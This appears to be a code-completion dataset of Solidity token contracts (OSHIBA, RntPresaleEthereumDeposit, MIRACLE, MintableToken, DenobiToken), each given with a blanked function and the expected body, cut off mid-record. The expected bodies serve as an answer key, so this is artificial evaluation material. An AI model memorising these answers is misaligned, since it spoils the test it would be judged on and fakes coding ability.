_excluded.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function rescueFromContract() external onlyOwner {
address payable _owner = _msgSender();
_owner.transfer(address(this).balance);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
if (sender != owner() && recipient != owner()) {
require(
amount <= _maxTxAmount,
'Transfer amount exceeds the maxTxAmount.'
);
require(!_isExcluded[sender], 'Account is excluded');
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount)
private
pure
returns (uint256, uint256)
{
uint256 tFee = 0;
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {<FILL_FUNCTION_BODY> }
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract OSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Otsughi Shiba';
string private _symbol = 'OSHIBA';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 50000000 * 10**6 * 10**9;
constructor() public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
_isExcluded[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
_excluded.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isExcluded[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_excluded.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isExcluded[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_excluded.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isExcluded[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_excluded.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isExcluded[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_excluded.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isExcluded[address(0x0cec4474E6B78e2703dcaAe57De283F96a34614e)] = true;
_excluded.push(address(0x0cec4474E6B78e2703dcaAe57De283F96a34614e));
_isExcluded[address(0x575C3a99429352EDa66661fC3857b9F83f58a73f)] = true;
_excluded.push(address(0x575C3a99429352EDa66661fC3857b9F83f58a73f));
_isExcluded[address(0x02023798E0890DDebfa4cc6d4b2B05434E940202)] = true;
_excluded.push(address(0x02023798E0890DDebfa4cc6d4b2B05434E940202));
_isExcluded[address(0x9108048F5eF19c64D00ADDA718906990B53D02Cd)] = true;
_excluded.push(address(0x9108048F5eF19c64D00ADDA718906990B53D02Cd));
_isExcluded[address(0x000000000000cB53d776774284822B1298AdE47f)] = true;
_excluded.push(address(0x000000000000cB53d776774284822B1298AdE47f));
_isExcluded[address(0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A)] = true;
_excluded.push(address(0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A));
_isExcluded[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
_excluded.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function rescueFromContract() external onlyOwner {
address payable _owner = _msgSender();
_owner.transfer(address(this).balance);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
if (sender != owner() && recipient != owner()) {
require(
amount <= _maxTxAmount,
'Transfer amount exceeds the maxTxAmount.'
);
require(!_isExcluded[sender], 'Account is excluded');
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount)
private
pure
returns (uint256, uint256)
{
uint256 tFee = 0;
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
<FILL_FUNCTION>
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
| function _getRate() private view returns (uint256) | function _getRate() private view returns (uint256) |
13636 | RntPresaleEthereumDeposit | getDonator | contract RntPresaleEthereumDeposit is Pausable {
using SafeMath for uint256;
uint256 public overallTakenEther = 0;
mapping(address => uint256) public receivedEther;
struct Donator {
address addr;
uint256 donated;
}
Donator[] donators;
RNTMultiSigWallet public wallet;
function RntPresaleEthereumDeposit(address _walletAddress) {
wallet = RNTMultiSigWallet(_walletAddress);
}
function updateDonator(address _address) internal {
bool isFound = false;
for (uint i = 0; i < donators.length; i++) {
if (donators[i].addr == _address) {
donators[i].donated = receivedEther[_address];
isFound = true;
break;
}
}
if (!isFound) {
donators.push(Donator(_address, receivedEther[_address]));
}
}
function getDonatorsNumber() external constant returns (uint256) {
return donators.length;
}
function getDonator(uint pos) external constant returns (address, uint256) {<FILL_FUNCTION_BODY> }
/*
* Fallback function for sending ether to wallet and update donators info
*/
function() whenNotPaused payable {
wallet.transfer(msg.value);
overallTakenEther = overallTakenEther.add(msg.value);
receivedEther[msg.sender] = receivedEther[msg.sender].add(msg.value);
updateDonator(msg.sender);
}
function receivedEtherFrom(address _from) whenNotPaused constant public returns (uint256) {
return receivedEther[_from];
}
function myEther() whenNotPaused constant public returns (uint256) {
return receivedEther[msg.sender];
}
} | contract RntPresaleEthereumDeposit is Pausable {
using SafeMath for uint256;
uint256 public overallTakenEther = 0;
mapping(address => uint256) public receivedEther;
struct Donator {
address addr;
uint256 donated;
}
Donator[] donators;
RNTMultiSigWallet public wallet;
function RntPresaleEthereumDeposit(address _walletAddress) {
wallet = RNTMultiSigWallet(_walletAddress);
}
function updateDonator(address _address) internal {
bool isFound = false;
for (uint i = 0; i < donators.length; i++) {
if (donators[i].addr == _address) {
donators[i].donated = receivedEther[_address];
isFound = true;
break;
}
}
if (!isFound) {
donators.push(Donator(_address, receivedEther[_address]));
}
}
function getDonatorsNumber() external constant returns (uint256) {
return donators.length;
}
<FILL_FUNCTION>
/*
* Fallback function for sending ether to wallet and update donators info
*/
function() whenNotPaused payable {
wallet.transfer(msg.value);
overallTakenEther = overallTakenEther.add(msg.value);
receivedEther[msg.sender] = receivedEther[msg.sender].add(msg.value);
updateDonator(msg.sender);
}
function receivedEtherFrom(address _from) whenNotPaused constant public returns (uint256) {
return receivedEther[_from];
}
function myEther() whenNotPaused constant public returns (uint256) {
return receivedEther[msg.sender];
}
} |
return (donators[pos].addr, donators[pos].donated);
| function getDonator(uint pos) external constant returns (address, uint256) | function getDonator(uint pos) external constant returns (address, uint256) |
48366 | MIRACLE | null | contract MIRACLE is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract MIRACLE is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "MIRACLE";
name = "INEEDAMIRACLECOIN";
decimals = 6;
_totalSupply = 100000000;
balances[0xFa88C8698F8309FD9B2c8b42754858E06096cce9] = _totalSupply;
emit Transfer(address(0), 0xFa88C8698F8309FD9B2c8b42754858E06096cce9, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
14076 | MintableToken | mint | contract MintableToken is StandardToken {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {<FILL_FUNCTION_BODY> }
function massMint(address[] _tos, uint256[] _amounts) hasMintPermission canMint public returns(bool) {
require(_tos.length == _amounts.length);
uint8 i = 0;
for (i; i < _tos.length; i++) {
totalSupply_ = totalSupply_.add(_amounts[i]);
balances[_tos[i]] = balances[_tos[i]].add(_amounts[i]);
emit Mint(_tos[i], _amounts[i]);
emit Transfer(address(0), _tos[i], _amounts[i]);
}
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | contract MintableToken is StandardToken {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
<FILL_FUNCTION>
function massMint(address[] _tos, uint256[] _amounts) hasMintPermission canMint public returns(bool) {
require(_tos.length == _amounts.length);
uint8 i = 0;
for (i; i < _tos.length; i++) {
totalSupply_ = totalSupply_.add(_amounts[i]);
balances[_tos[i]] = balances[_tos[i]].add(_amounts[i]);
emit Mint(_tos[i], _amounts[i]);
emit Transfer(address(0), _tos[i], _amounts[i]);
}
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} |
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
| function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) | function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) |
10650 | DenobiToken | null | contract DenobiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 64000000 * 10**18;
uint256 private _maxWallet= 64000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Degen Shinobi";
string private constant _symbol = "DENOBI";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
